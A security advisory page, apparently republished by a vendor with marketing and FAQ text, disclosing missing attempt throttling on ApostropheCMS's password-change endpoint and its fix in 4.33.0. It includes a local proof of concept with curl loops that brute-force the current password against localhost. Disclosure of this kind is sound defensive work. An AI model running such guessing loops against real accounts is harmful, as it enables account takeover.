Summary
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Summary
The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is:
PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through:
await self.handleProtectedSubform(req, subform, req.body );
The password verification path is:
packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) {
try {
await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
} catch (e) {
throw self.apos.error(
'forbidden',
'apostrophe:passwordCurrentError',
{ path: 'passwordCurrent' }
);
}
return subform;
}
The verifier itself does not increment the login-attempt cache or enforce a delay:
packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:
packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC
The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Equivalent command:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Observed response
All five attempts returned the same immediate validation response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {
"path": "passwordCurrent"
},
"message": "apostrophe:passwordCurrentError"
}
Observed timings were approximately:
Attempt 1: 231 ms
Attempt 2: 232 ms
Attempt 3: 226 ms
Attempt 4: 229 ms
Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c
"curl --max-time 15 -sS
-o /tmp/password-attempt-{}.body
-w '%{http_code}\n'
-b /path/to/temporary-session-cookie-jar.txt
-X PATCH
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password'
-H 'Content-Type: application/json'
--data-raw '{"password":"new-temporary-password-{}","passwordRepeat":"new-temporary-password-{}","passwordCurrent":"wrong-current-{}"}'"
Result:
20 requests -> HTTP 403 Forbidden
0 requests -> HTTP 429 Too Many Requests
0 requests -> lockout response
The valid password continued to authenticate afterward:
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK
Impact
An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.
If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.
Severity
Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.
Impact
CVE-2026-113710 has a CVSS score of 5.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.33.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-113710? CVE-2026-113710 is a medium-severity security vulnerability in apostrophe (npm), affecting versions < 4.33.0. It is fixed in 4.33.0.
- How severe is CVE-2026-113710? CVE-2026-113710 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of apostrophe are affected by CVE-2026-113710? apostrophe (npm) versions < 4.33.0 is affected.
- Is there a fix for CVE-2026-113710? Yes. CVE-2026-113710 is fixed in 4.33.0. Upgrade to this version or later.
- Is CVE-2026-113710 exploitable, and should I be worried? Whether CVE-2026-113710 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113710 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113710? Upgrade
apostropheto 4.33.0 or later.